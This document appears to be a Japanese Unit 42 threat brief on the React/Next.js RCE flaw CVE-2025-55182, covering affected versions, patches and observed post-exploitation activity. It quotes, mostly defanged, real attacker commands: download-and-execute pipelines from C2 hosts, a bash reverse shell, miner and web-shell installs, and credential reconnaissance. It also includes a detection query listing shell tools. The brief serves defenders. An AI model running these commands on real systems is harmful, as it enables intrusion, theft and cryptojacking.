エグゼクティブサマリ
2025年12月12日 更新
Unit 42は、これまで未確認であった「KSwapDoor」を発見しました。このLinuxバックドアは、当初BPFDoorと誤認されていました。
主な特徴は以下の通りです:
- P2Pメッシュネットワーク: マルチホップルーティングを可能にし、堅牢なC2通信(コマンド&コントロール)を実現さらに、LinuxバックドアであるKSwapDoor(12月12日以前、本記事内ではBPFDoorと識別されていたもの)の事例も観測されています。
- 強力な暗号化: Diffie-Hellman鍵交換を用いたAES-256-CFBを使用
- 隠蔽性と永続性: 正規のLinuxカーネルスワップデーモンに偽装
- 完全なリモートアクセス: 対話型シェル、コマンド実行、ファイル操作、およびラテラルムーブメント(横展開)のスキャン機能を提供
2025年12月9日更新
Unit 42 は、北朝鮮 (DPRK) の「Contagious Interview」ツールとの重複が報告されている活動を確認しました。ただし、現時点で正式なアトリビューション (帰属) は確認されていません。Contagious Interview は、DPRK に関連する脅威アクターが採用担当者を装い、テック業界の求職者のデバイスにマルウェアをインストールさせるキャンペーンです。
今回観測された活動には「EtherRAT」が含まれています。北朝鮮 の脅威アクターである UNC5342 は、マルウェアの配信および暗号資産の窃取に「EtherHiding」の手法を利用していると報告されています。EtherHiding は、ブロックチェーン技術を悪用して悪意のあるペイロードを保存・取得する手口です。
さらに、LinuxバックドアであるKSwapDoor(12月12日以前、本記事内ではBPFDoorと識別されていたもの)の事例も観測されています。
最後に、Unit 42 は、これまで文書化されていなかった「Auto-color」バックドアの複数の事例を検出しました。Auto-color は正規の Pluggable Authentication Module (PAM) ライブラリ (pamssod) になりすまします。
詳細は「悪用後の活動 (Post-Exploitation Activity) の範囲」セクションをご覧ください。
2025年12月8日更新
Unit 42 は、CVE-2025-55182 の悪用に続く「悪用後の活動 (Post-Exploitation Activity)」を観測しており、複数の攻撃ベクトルの存在が示されています。この攻撃には、リモートコード実行 (RCE) の脆弱性を狙った自動スキャンによる初期偵察や、以下の目的のための Base64 エンコードされたコマンドが含まれていました:
- 侵害されたシステムのフィンガープリント迅速な取得
- 権限レベルの確認
- ネットワークインターフェースのマッピング
- 機密性の高い認証情報および DNS 設定の列挙
- 攻撃者が制御する C2 からの悪意あるバイナリの取得
攻撃者はインストール活動を進め、wget や curl を悪用して、sex.sh や持続的な感染を目的とした Linux ドロッパー (x86_64) などの悪意あるスクリプトをダウンロードおよび実行しました。ある事例では、Cobalt Strike サーバーと思われる接続先への bash リバースシェルを確認しました。
さらに、PRC (中華人民共和国) 国家安全部との関連が疑われる初期アクセスブローカー (IAB) である CL-STA-1015 として追跡している活動クラスタと一致する活動も観測されました。この活動では、curl または wget を介した悪意あるシェルスクリプト (slt) のファイルレス実行が行われ、その後 SNOWLIGHT および VShell トロイの木馬がインストールされました。
詳細は「悪用後の活動 (Post-Exploitation Activity) の範囲」セクションをご覧ください。
2025年12月3日、研究者らは React Server Components (RSC) で使用される Flight プロトコルにおける重大なリモートコード実行 (RCE) の脆弱性を公表しました。
当初、この不具合は 2 つの脆弱性、CVE-2025-55182 (React) および CVE-2025-66478 (Next.js) として追跡されていました。両者ともに最大深刻度である CVSS 10.0 が割り当てられました。
その後、CVE-2025-66478 は CVE-2025-55182 の重複として却下されました。
この不具合により、認証されていない攻撃者は、悪意のある HTTP リクエストの安全でないデシリアライゼーションを介して、サーバー上で任意のコードを実行することが可能になります。テストによると、エクスプロイトの信頼性は 100% に近く、デフォルト設定に対して有効であり、コードの変更を必要としません。2025年12月3日時点では wild (実環境) での悪用報告はありませんでしたが、Unit 42 はその後、更新情報で詳述しているように悪用後の活動を観測しています。
React はエンタープライズ環境で広く実装されており、全開発者の約 40% に使用されています。一方、Next.js は約 18%〜20% に使用されており、React エコシステムにおける主要なサーバーサイドフレームワークとなっています。
パロアルトネットワークスの Cortex Xpanse は、当社のテレメトリ内で 968,000 を超える React および Next.js インスタンスの存在を確認しています。
CVE-2025-55182 は、React 19 エコシステムおよびそれを実装するフレームワークに影響を与えます。具体的には、以下のバージョンが影響を受けます:
- React: バージョン 19.0、19.1、および 19.2
- Next.js: バージョン 15.x および 16.x (App Router)、および 14.3.0 以降の Canary ビルド
- その他のフレームワーク: React Router、Waku、RedwoodSDK、Parcel、Vite RSC プラグインなど、react-server 実装をバンドルしているあらゆるライブラリ
パロアルトネットワークスのお客様は、以下の方法で CVE-2025-55182 に対する保護と緩和策を受けることができます:
- Advanced URL Filtering および Advanced DNS Security
- Advanced Threat Prevention セキュリティサブスクリプションを搭載した Next-Generation Firewall (次世代ファイアウォール)
- Cortex XDR および XSIAM エージェントは、多層防御アプローチを使用して悪用後の活動からの保護を支援します
- Cortex Xpanse は、パブリックインターネット上で公開されているデバイスやアプリケーションを特定し、防御者にその結果をエスカレーションするように設計されています
- Cortex Cloud および Prisma Cloud は、本ブリーフで議論されている脆弱性にさらされているクラウドリソースに対する検出機能を備えています
また、パロアルトネットワークスは、以下の修正済みバージョンへ直ちにアップグレードすることを推奨します:
- React: 19.0.1、19.1.2、または 19.2.1 へのアップグレード
- Next.js: 16.0.7、15.5.7、15.4.8、15.3.6、15.2.6、15.1.9、15.0.5 を含む最新の安定したパッチ適用済みバージョンへのアップグレード
侵害への対応や、リスク低減のためのプロアクティブな評価については、Unit 42 インシデントレスポンスチームにご相談ください。
| 解説する脆弱性 | CVE-2025-55182, CVE-2025-66478 |
脆弱性の詳細: CVE-2025-55182 (React)
CVE-2025-55182 は「緊急 (Critical)」(CVSS 10.0) に分類され、RSC アーキテクチャ、特に Flight プロトコルに関連する安全でないデシリアライゼーションによって引き起こされます。
この脆弱性は react-server パッケージおよびその RSC Flight プロトコルの実装に存在します。これは論理的なデシリアライゼーションの不具合であり、サーバーが RSC ペイロードを安全に処理する方法に関連しています。
サーバーが特別に細工された不正な HTTP ペイロード (通常は POST リクエストで配信されるデータ) を受信すると、データの構造を正しく検証できません。この安全でないデシリアライゼーションにより、サーバーは攻撃者が制御するデータがサーバー側の実行ロジックに影響を与えることを許可してしまいます。
その結果、RCE が発生し、攻撃者はサーバー上で任意の特権 JavaScript コードを実行できるようになります。
攻撃ベクトルと悪用可能性
- 攻撃の複雑さ: 攻撃の複雑さは低いです。ユーザーインタラクションも権限も必要ありません (認証不要)。
- ターゲットエンドポイント: 攻撃は React Server Function エンドポイントを標的とします。
- 重要なニュアンス: アプリケーションが React Server Functions を厳密に実装または使用していない場合でも、React Server Components を一般的にサポートしている場合は脆弱です。
- 信頼性: テストでは、エクスプロイトがほぼ 100% の信頼性を持つことが示されています。
- デフォルト設定: この脆弱性はデフォルト設定に存在します。例えば、create-next-app で作成され本番用にビルドされた標準的な Next.js アプリケーションは、開発者によるコード変更なしで悪用可能です。
具体的な影響を受けるコンポーネント
一般的には React と Next.js に影響すると説明されていますが、技術的にはサーバーサイドレンダリングとモジュール読み込みを処理する特定の基礎パッケージ内に脆弱性が存在します。
影響を受けるパッケージ
以下のパッケージのバージョン 19.0.0、19.1.0、19.1.1、および 19.2.0 に脆弱性が存在します:
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
影響を受けるフレームワーク実装
これらのパッケージをバンドルしているあらゆるフレームワークが影響を受けます:
- Next.js: バージョン 15.x および 16.x (App Router)、および 14.3.0-canary.77 からの Canary ビルド
- その他のエコシステム: React Router、Waku、RedwoodSDK、Parcel、および Vite RSC プラグインは、脆弱な React パッケージを使用している場合、すべて影響を受けます
悪用後の活動 (Post-Exploitation Activity) の範囲
Unit 42 は、CVE-2025-55182 の悪用に関連するインタラクティブなセッションを観測しています。これには以下が含まれます:
- RCE に対して脆弱なサーバーのスキャン
- 偵察
- クラウド認証情報の設定および認証情報ファイルの窃取の試み
- 攻撃者のコマンドアンドコントロール (C2) インフラストラクチャからペイロードを取得するためのダウンローダーのインストール
- Cobalt Strike のインストール試行
- 悪意のあるドロッパースクリプト
- クリプトマイニングソフトウェア
- React ファイルマネージャーになりすましたインタラクティブな Web シェル
- NOODLERAT の実行およびインストール
- IAB (初期アクセスブローカー) 活動
- SNOWLIGHT および VShell の実行確認
スキャン
RCE の脆弱性を狙った自動スキャンが観測されています:
|
1 2 3 4 5 6 |
/bin/sh -c echo $((288*288)) /bin/sh -c echo $((40453*43186)) /bin/sh -c powershell -c \288*288\ /bin/sh -c $(curl -s http://help.093214[.]xyz:9731/fn32.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo VULN_CHECK_SUCCESS |
攻撃者による偵察として、システム侵害直後の状況把握のために Base64 エンコードされたコマンドが渡されるのが観測されています。攻撃者は迅速にオペレーティングシステムとアーキテクチャのフィンガープリント採取 (uname)、現在の権限レベルの確認 (id)、ネットワークインターフェースのマッピング (hostname) を行います。
このシーケンスは、機密性の高い認証情報を求めてファイルシステムを列挙し、DNS 設定 (resolv.conf) を分析してクラウド環境やラテラルムーブメント (横展開) のための内部ターゲットを特定することで終了します。
偵察コマンドを実行するための形式は以下の通りです:
|
1 |
/bin/sh -c echo <base64-encoded text> | base64 -d | sh | base64 -w0 |
デコードされた Base64 コマンドは、以下の偵察コマンドを実行します:
|
1 |
/bin/sh uname -a ; id ;hostname -I ; ls -la / ; ls -la ~ ;cat /etc/hosts;cat /etc/resolv.conf |
コモディティマルウェアのインストール活動
Unit 42 は、クリプトマイニングソフトウェアやその他のコモディティマルウェアローダーの展開に関連する複数の活動クラスタを観測しました。
ある事例では、攻撃者が wget を使用して、攻撃者が制御する C2 サーバーから悪意のあるスクリプト (sex.sh という名前) を取得するダウンロード&実行 (download-and-execute) 攻撃シーケンスを渡しました。攻撃者は && 演算子を使用して条件付きチェーンを作成し、悪意のあるスクリプトがディスクに正常にダウンロードされた後にのみ、即時実行のために bash インタプリタに渡されるようにしました。
別の事例では、データの窃取、検証、および Mirai ボットネットなどの IoT 活動と一致する複数のマルウェアダウンローダーのインストールを行うために、自動化されたスクリプトが使用されました。
無害化されたコマンドは以下の通りです:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
/bin/sh -c wget hxxp[:]//46.36.37[.]85:12000/sex.sh && bash sex.sh /bin/sh -c $(curl -s http://keep.camdvr[.]org:8000/d5.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42259*42449)),/bin/sh -c wget http://superminecraft.net[.]br:3000/sex.sh && bash sex.sh,/bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs[.]com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 45.134.174[.]235/2.sh 45.134.174[.]235/solra 45.134.174.235/?h=45.134.174.235&p=80&t=tcp&a=l64&stage=true Decoded and Defanged command: /bin/sh -c (wget -qO- http://156.234.209[.]103:20912/get.sh || curl -fsSL http://156.234.209[.]103:20912/get.sh) | bash,/bin/sh -c curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner .sh | bash -s <encoded Monero address>,/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42636*43926)),/bin/sh -c powershell -enc IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209[.]103:63938/nrCrQ') Decoded and Defanged command: /bin/sh -c echo wget -O /tmp/test.sh http://31.57.46.28/test.sh&&sh /tmp/test.sh|base64 -d|sh,/bin/sh -c id && pwd && ls -la && ps aux | grep node (command -v curl >/dev/null 2>&1 && curl -s hxxp://47.84.57[.]207/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- hxxp://47.84.57[.]207/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57.207/index').read())") || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57[.]207/index').read())") |
図1は、Cortex XDRで確認されたXMRIG展開の攻撃フローを示しています。

図2は、Cortex XDR における XMRig 活動のアラート通知です。

ある観測事例では、攻撃者が Linux システムへの感染を目的としたドロッパーをインストールしました。このドロッパーは冗長なロジックブロックを使用して、ペイロードが確実に配信されるようにします。最初に出力を抑制しリダイレクトに従うフラグを付けてバイナリの curl を試み、最初のツールがないか失敗した場合は wget にフォールバックします。
/tmp ディレクトリへのダウンロードに成功すると、スクリプトは一連のコマンドを実行してファイルを汎用的に実行可能にします。その後、直ちにペイロードを起動し、ユーザーの介入なしに感染を確立します。
これに対する無害化されたコマンドは以下の通りです:
|
1 |
/bin/sh -c ((curl -sL hxxp[:]//45.32.158[.]54/5e51aff54626ef7f/x86_64 -o /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64) || (wget hxxp[:]//45.32.158[.]54/5e51aff54626ef7f/x86_64 -O /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64)) |
クラウドおよびコンテナに対するエクスプロイトの試み
Unit 42 は、主要なクラウドプラットフォーム全体において、React2Shell エクスプロイトの試みも観測しました。これらは、統合された React コンポーネントに起因する CVE-2025-55182 の脆弱性を持つアプリケーションを実行している、Kubernetes を含むコンテナをホストするクラウドインスタンスを標的としたものでした。
一連の攻撃活動では、wget、curl、chmod などのユーティリティが、直接的あるいは BusyBox バイナリを経由してコマンドラインで実行され、攻撃者は Mirai ローダーやその他のペイロードをインストールしようと試みました。
攻撃者はこれらのファイルのインストールを試みましたが、不正なダウンロードはブロックされ、実行は阻止されました。
|
1 2 3 4 5 6 7 8 9 |
# Witnessed commands ## BusyBox /bin/sh -c (cd /dev;busybox wget hxxp://31.56.27[.]76/n2/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q hxxp://193.34.213[.]150/nuts/bolts -O-|sh) ## Meshagent Directory String wget -O /tmp/meshagent --no-check-certificate hxxps://72.62.67[.]33/meshagents?id=w%40Exooh1EQmSgfpvXk%24Kctk3F4RFhqP5EYgH2mHXjcZDuo3H61xfEs%24OKLnWsj6D&installflags=0&meshinstall=6 # Container Command Usage runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/<IMAGE_HASH>/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/<IMAGE_HASH> --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/<IMAGE HASH>/init.pid <IMAGE_HASH> |
Cobalt Strike
Unit 42 は、脅威アクターが bash リバースシェルを利用して、Cobalt Strike サーバーと思われる接続先に接続するのを観測しました:
|
1 |
bash -c bash -i >& /dev/tcp/38.162.112[.]141/8899 0>&1 |
さらに、Unit 42 は 154.89.152[.]240 から check.sh という名前の bash スクリプトのリモート実行を観測しました。図3に示すように、このスクリプトは a_x64 という名前の別のバイナリを同じアドレスからダウンロードし、rsyslo という名前で保存します。
このペイロードは、Linux OS 用の Cobalt Strike Beacon を作成するための拡張ツールである CrossC2 を使用して作成された Cobalt Strike エージェントであると思われます。図3は Cortex XDR でのプロセスを示しています。

図4は、Cortex XDR における Cobalt Strike 活動のアラートがどのように見えるかを示しています。

Web シェル活動
React ファイルマネージャー (fm.js) を装ったインタラクティブな Web シェルのインストールが観測されました。これは GitHub から直接取得され、ディレクトリの閲覧を可能にしてデータベースのパスワードや API キーなどの機密設定ファイルを収集するとともに、組み込みのダウンロード機能を通じてソースコードや顧客データの窃取(データ持ち出し)を容易にします。
このツールは、追加のバックドアやルートキットのアップロードを許可することで持続的な侵害をサポートし、一括ファイル削除や直接的なシステムコマンド実行を通じて回復不能な損害を与える能力を付与します。
アクターは、ポートの競合を排除するために既存の node プロセスを先制的に終了させることからシーケンスを開始し、続いて任意のコード実行を確認するための実行検証を行いました。このスクリプトは、/tmp ディレクトリに Node.js Web シェルペイロードをステージングします。ヒューリスティックなネットワーク適応を採用し、設定を繰り返し変更してさまざまなリスニングポートを循環させ、ローカルのファイアウォールポリシーを回避しようとします。
攻撃は nohup を介した一時的な永続性の確立と、一般的な Web ディレクトリへの一意の検証アーティファクト (segawon.txt) の展開で終了し、外部からの侵害の検証とサーバーのファイル構造のマッピングを可能にします。
|
1 |
/bin/sh -c cd /tmp && nohup node fm.js > /dev/null 2>&1 & sleep 2,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 13373/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 3000/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8080/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8888/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 9000/' fm.js 2>&1,/bin/sh -c cd /tmp && wget -q -O fm.js https://raw.githubusercontent.com/laolierzi-commits/phpbd/refs/heads/main/rjs/filemanager-standalone.js 2>&1 && wc -c fm.js,/bin/sh -c echo $((41*271)),/bin/sh -c echo 'segawon.id' > /app/public/segawon.txt && chmod 644 /app/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /app/web/public/segawon.txt && chmod 644 /app/web/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /var/www/html/segawon.txt && chmod 644 /var/www/html/segawon.txt,/bin/sh -c id,/bin/sh -c killall -9 node 2>/dev/null,/bin/sh -c ls -la |
EtherRAT
Unit 42は、以下の活動を行うEtherRATと一致する活動を観測しました:
- C2解決のためにイーサリアムスマートコントラクトを活用
- 複数の独立したLinux永続化メカニズムを使用
- nodejs.orgから独自のNode.jsランタイムをダウンロード
北朝鮮 の脅威アクター UNC5342 は、マルウェアの配信と暗号資産の窃取を促進するために EtherHiding を使用していると報告されています。
|
1 |
/bin/sh -c echo while :; do (curl -sL http://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o ./s.sh 2>/dev/null || wget -qO ./s.sh http://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh 2>/dev/null || python3 -c "import urllib.request as u;open('./s.sh','wb').write(u.urlopen('http://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh').read())") && [ -s ./s.sh ] && chmod +x ./s.sh && ./s.sh && break; sleep 300; done |
Noodle RAT
Unit 42 は、Noodle RAT の展開を観測しました。これは Windows と Linux の両方のバージョンがあることが確認されているバックドアで、スパイ活動やサイバー犯罪に従事する中国語圏のグループによって使用されている疑いがあります。
|
1 2 3 4 5 |
hxxp://146.88.129[.]138:5511/443nb64 tcp://vip[.]kof97.lol:443 192.238.202[.]17 |
Auto-color
Unit 42 は、これまでに見られなかった Auto-color バックドアの複数の事例を複数の環境で観測しました。このマルウェアについては、私たちが2025年2月に最初に公開しました。このバックドアに関連するファイル名 pamssod は、正規の Pluggable Authentication Module (PAM) ライブラリになりすましています。
Autocolorは以下の日時と場所で観測されています:
- 2025年初頭:アジアおよび北米の大学・政府機関を標的
- 2025年4月:米国系化学企業のネットワーク
- 2025年8月:CVE‑2025‑31324の悪用において
CL-STA-1015 の活動
Unit 42は、CL-STA-1015として追跡している活動クラスターと「高い確度(High Confidence)」で一致すると評価される、侵害後の脅威活動(ポストエクスプロイト活動)を観測しました。Google Threat Intelligence Groupによると、この脅威アクターは中国の国家支援型イニシャルアクセスブローカー(Initial Access Broker)であると「中程度の確度(Medium Confidence)」で評価されています。
攻撃者はコマンドを実行して、リモート C2 サーバーから slt とラベル付けされた悪意あるシェルスクリプトペイロードを取得し、直ちに実行しました。以前に見られた活動と同様に、攻撃者は OR 演算子を使用してフェイルセーフロジックを採用しました:
- システムはまず、ステルス性 (出力を抑制しリダイレクトに従う -fsSL) と耐障害性 (ハングアップを防ぐ -m180) に最適化されたフラグを持つ curl を使用してダウンロードを試みます。
- curl が利用できないか失敗した場合、同様のサイレントおよびタイムアウトパラメータを持つ wget に自動的にフォールバックします。
- コマンドはダウンロードされたコンテンツを直接 sh にパイプすることで終了し、悪意のあるスクリプトがディスクに永続的なファイルを書き込むことなくメモリ内で即座に実行されるファイルレス実行を可能にします。
これに対する無害化されたコマンドは以下の通りです:
|
1 |
/bin/sh -c (curl -fsSL -m180 hxxp[:]//115.42.60[.]223:61236/slt||wget -T180 -q hsxp[:]//115.42.60[.]223:61236/slt)|sh |
上記のコマンドに続いて、SNOWLIGHT と一致する 2 つの悪意のあるファイルがファイルシステム上に正常に作成されたことを確認し、分析の結果、以下の VShell サンプルも同じサーバー上に存在していたことが判明しました:
- SNOWLIGHT bash スクリプト:a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4
- SNOWLIGHT: 2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4a
- VShell: 4745703f395282a0687def2c7dcf82ed1683f3128bef1686bd74c966273ce1c5
SNOWLIGHT は、CL-STA-1015 の活動で見られるステルス性の高いマルウェアドロッパーです。その主な機能は、侵害された Linux システムに侵入し、追加のより強力なマルウェアをダウンロードして実行することです。最も注目すべきは、VShell RAT をダウンロードすることです。VShell はいくつかのフォーラムで中国語圏のサイバー犯罪者の間で人気があり、その主な開発者も中国語話者です。
KSwapDoor
さらなる分析の結果、Unit 42は、以前BPFDoorと識別していたものが、実際には KSwapDoor と呼称する未確認のLinuxバックドアであり、サーバーを標的としていることを発見しました。KSwapDoorは、感染したノード間でのマルチホップルーティングを可能にする高度なP2Pメッシュネットワークを実装し、C2通信にはDiffie-Hellman鍵交換を用いたAES-256-CFB暗号化を使用しています。また、ファイアウォール回避の可能性を持つ、休眠状態のパッシブパケットスニッファコードも含まれています。これは、対話型シェル、コマンド実行、ファイル操作、ラテラルムーブメントのスキャンなど、完全なリモートアクセス機能を提供します。
主な調査結果 (Key Findings):
- ステルス性と偽装 (Stealth & Masquerade): 実行されると、バイナリは自身の名前を [kswapd1] に変更し、正規のLinuxカーネルスワップデーモンを模倣します。ダブルフォークを行い、新しいセッションを作成し (setsid())、すべての標準入出力を /dev/null にリダイレクトすることで、完全にデーモン化します。
- 難読化 (Obfuscation): ほぼすべての重要な文字列と設定データは、RC4暗号化を使用して保護されています。マルウェアは、実行時にキースケジューリング関数(sub_410A41 および sub_410B8D)を使用してこれらの文字列を復号します。
- 永続化と設定 (Persistence & Configuration): 設定は、ユーザーのホームディレクトリ内のRC4暗号化されたファイルに保存されます。初期化中にこのファイルを読み込んで復号し、コマンド&コントロール(C2)のターゲットを特定します。
- 回復力 (Resilience): マルウェアはウォッチドッグループを作成して子プロセスを生成・監視し、クラッシュした場合は自動的に再起動させます。また、/tmp/appInsight にあるステージングディレクトリを利用します。
当面のガイダンス
必要なアクション: 即時のパッチ適用が唯一の確実な緩和策です。
エンジニアリングチームおよびセキュリティチームは、以下の修正済みバージョンへ直ちにアップグレードする必要があります:
- React: 19.0.1、19.1.2、または 19.2.1 へのアップグレード
- Next.js: 16.0.7、15.5.7、15.4.8、15.3.6、15.2.6、15.1.9、15.0.5 を含む最新の安定したパッチ適用済みバージョンへのアップグレード
この脆弱性に関する最新情報については、ベンダーが提供するドキュメントを参照してください:
Unit 42 マネージドスレットハンティングクエリ
Unit 42 マネージドスレットハンティングチームは、Cortex XDR および以下の XQL クエリを使用して、お客様環境全体でこの CVE を悪用しようとする試みを追跡し続けています。Cortex XDR のお客様は、これらの XQL クエリを使用して悪用の兆候を検索することもできます。
以下の XQL クエリは、侵害後の活動を特定するために使用され、成功しています。分析中、誤検知 (False Positive) は少数でした。node プロセスによって生成された子プロセスを確認することを推奨します。上記で観測されたコマンドのような、疑わしいファイル操作、ネットワーク操作、偵察コマンド、またはコード実行を探してください。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
// Description: This query attempts to identify possible node processes spawning two or more post-exploitation lolbins. // Notes: This has the potential to capture false-positives, it is recommended to investigate the children processes spawned by the node process and check for suspicious file operations, network operations, reconnaissance commands or code execution. config case_sensitive = false | preset=xdr_process | filter (actor_process_image_name in ("node","node.exe", "bun", "bun.exe") and actor_process_command_line in ("*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*next-server*", "*node server.js*", "*bin/next*", "*--experimental-https*", "*app/server*", "*.pnpm/next*", "*next start*", "*next dev*", "*react-scripts start*", "*next/dist/server*")) or (causality_actor_process_image_name in ("node","node.exe", "bun", "bun.exe") and causality_actor_process_command_line in ("*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*next-server*", "*node server.js*", "*bin/next*", "*--experimental-https*", "*app/server*", "*.pnpm/next*", "*next start*", "*next dev*", "*react-scripts start*", "*next/dist/server*")) | filter actor_process_command_line not in ("*homebrew*", "*git config*", "*/users*", "*/usr*", "*\users*", "*gcloud config*", "*git branch*", "*git describe*") and action_process_image_command_line not in ("*homebrew*", "*git config*", "*/users*", "*/usr*", "*\users*", "*gcloud config*", "*git branch*", "*git describe*") and causality_actor_process_command_line not in ("*Microsoft VS Code*", "*iTerm2*", "*Visual Studio Code*") and action_process_image_name not in ("node", "node.exe") | alter suspicious_processes = arraycreate("id", "curl", "wget", "whoami", "arp", "at.exe", "hostname", "nbstat.exe", "netsh.exe", "netstat.exe", "nslookup", "ping.exe", "query.exe", "systeminfo.exe", "tasklist.exe", "traceroute.exe", "ipconfig.exe", "whoami.exe", "whois.exe", "quser.exe", "mshta.exe", "jscript.exe", "cscript.exe", "wscript.exe", "qwinsta.exe", "nltest.exe", "csvde.exe", "wevtutil.exe", "driverquery.exe", "nbtscan.exe", "ntdsutil.exe", "vssadmin.exe", "dsquery.exe", "adfind.exe", "klist.exe", "vssvc.exe", "nc", "ncat", "netcat", "base64", "uname", "dmidecode", "ip addr", "chmod -x", "chmod 7", "socat", "nohup", "setsid", "powershell.exe", "cmd.exe", "bash", "sh", "zsh", "mkfifo", "rundll32.exe", "java", "python", "python.exe", "php", "ifconfig", "net.exe", "net1.exe", "/dev/udp", "/dev/tcp", "adduser", "useradd", "lua", "crontab", "mknod") | alter matches = arrayfilter(suspicious_processes , action_process_image_command_line contains "@element") | comp count_distinct(action_process_image_command_line) as num_procs, values(action_process_image_command_line) as action_process_image_command_line, values(causality_actor_process_command_line) as causality_actor_process_command_line by agent_hostname, actor_process_image_name, actor_process_command_line, action_process_image_name | filter num_procs > 1 |
結論
この脆弱性が即座にかつ広範囲に悪用されたことは、脅威アクターが機会を捉えていかに迅速に行動するかを浮き彫りにしています。中国に関連する活動を確認しましたが、活動の痕跡にはサイバー犯罪を動機とするものも相当数含まれるでしょう。
特に注目すべきは、CL-STA-1015 (別名 UNC5174) が N-day 脆弱性を迅速に悪用してきた歴史があることです:
この脆弱性の決定的な特徴は、それが確率的なエラーではなく、Flight プロトコルにおける決定論的なロジックの不具合であるという点です。失敗する可能性のあるメモリ破損のバグとは異なり、この不具合は実行を保証し、攻撃者にとって信頼性の高いシステム全体のバイパスへと変化させます。エンタープライズ環境における Next.js の巨大なフットプリントによって増幅され、これは機密性の高い内部データへの直接的な導管 (パイプライン) を作り出します。
最終的に、このインシデントは、現代のアーキテクチャにおけるパフォーマンスとセキュリティの間に固有の摩擦があることを強調しています。React Server Components はロジックをソースに近づけることでデータ取得と検索エンジン最適化 (SEO) を最適化しますが、同時に攻撃対象領域 (アタックサーフェス) を組織の最も機密性が高く価値のあるデータに近づけることになります。
パロアルトネットワークスのお客様は、以下に示す製品によって保護されています。より関連性の高い情報が入手可能になり次第、この脅威ブリーフを更新します。
CVE-2025-55182 に対するパロアルトネットワークス製品の保護
パロアルトネットワークスのお客様は、さまざまな製品の保護とアップデートを活用して、この脅威を特定し防御することができます。
侵害された可能性がある場合、または緊急の事態が発生した場合は、Unit 42 インシデントレスポンスチームにご連絡いただくか、以下にお電話ください:
- 北米 (フリーダイヤル): +1 (866) 486-4842 (866.4.UNIT42)
- 英国: +44.20.3743.3660
- 欧州および中東: +31.20.299.3130
- アジア: +65.6983.8730
- 日本: +81.50.1790.0200
- オーストラリア: +61.2.4062.7950
- インド: 000 800 050 45107
- 韓国: +82.080.467.8774
Next-Generation Firewalls (次世代ファイアウォール) と Advanced Threat Prevention
Advanced Threat Prevention セキュリティサブスクリプションを搭載した Next-Generation Firewall は、以下の Threat Prevention シグネチャによって攻撃をブロックするのに役立ちます:96779 および 96780。
Next-Generation Firewall 向けクラウド配信型セキュリティサービス
Advanced URL Filtering および Advanced DNS Security は、この活動に関連する既知のドメインおよび URL を悪意のあるものとして識別します。
Cortex XDR および XSIAM
Cortex XDR および XSIAM エージェントは、多層防御アプローチを使用して悪用後の活動からの保護を支援します。
Cortex は、緩和プロセスの自動化と迅速化を支援するため、CVE-2025-55182 (React) および CVE-2025-66478 (Next.js) 用のレスポンスパックとプレイブックをリリースしました。
このプレイブックは以下のタスクを自動化します:
- Unit 42 の記事からのインジケーター (IOC) の収集
- XQL クエリによる、これらの脆弱性の悪用を示す疑わしいコマンドラインの検出
- コマンドラインの調査による、脆弱性に関連する悪意のあるインジケーターの特定
- XQL クエリによる悪意のあるインジケーターのハンティング
- 侵害された React および Next.js サーバーの隔離 (アナリストの承認が必要)
- 悪意のあるインジケーターのブロック
- 緩和策の推奨事項の提供
Cortex Xpanse
Cortex Xpanse は、パブリックインターネット上で公開されているデバイスやアプリケーションを特定し、防御者にその結果をエスカレーションするように設計されています。お客様は、Vercel Next.js Attack Surface Rule が有効になっていることを確認することで、潜在的にリスクのある資産に対するアラートを有効にできます。
さらに、Xpanse は CVE-2025-55182 を対象としたアタックサーフェステストを公開しました。このテストは、Linux および Windows システムの両方に対応した無害なコマンドペイロードの実行を試みる RCE 直接チェックによって、脆弱性を検証するものです。
注目すべきは、これらの React および Next.js アプリケーションはソフトウェアのバージョン詳細を公に公開していないため、これらの検出は脆弱なアプリケーションの強力な指標ではないということです。これらの検出は、ASM モジュールを購入した Cortex XSIAM のお客様も利用可能です。
Cortex Cloud
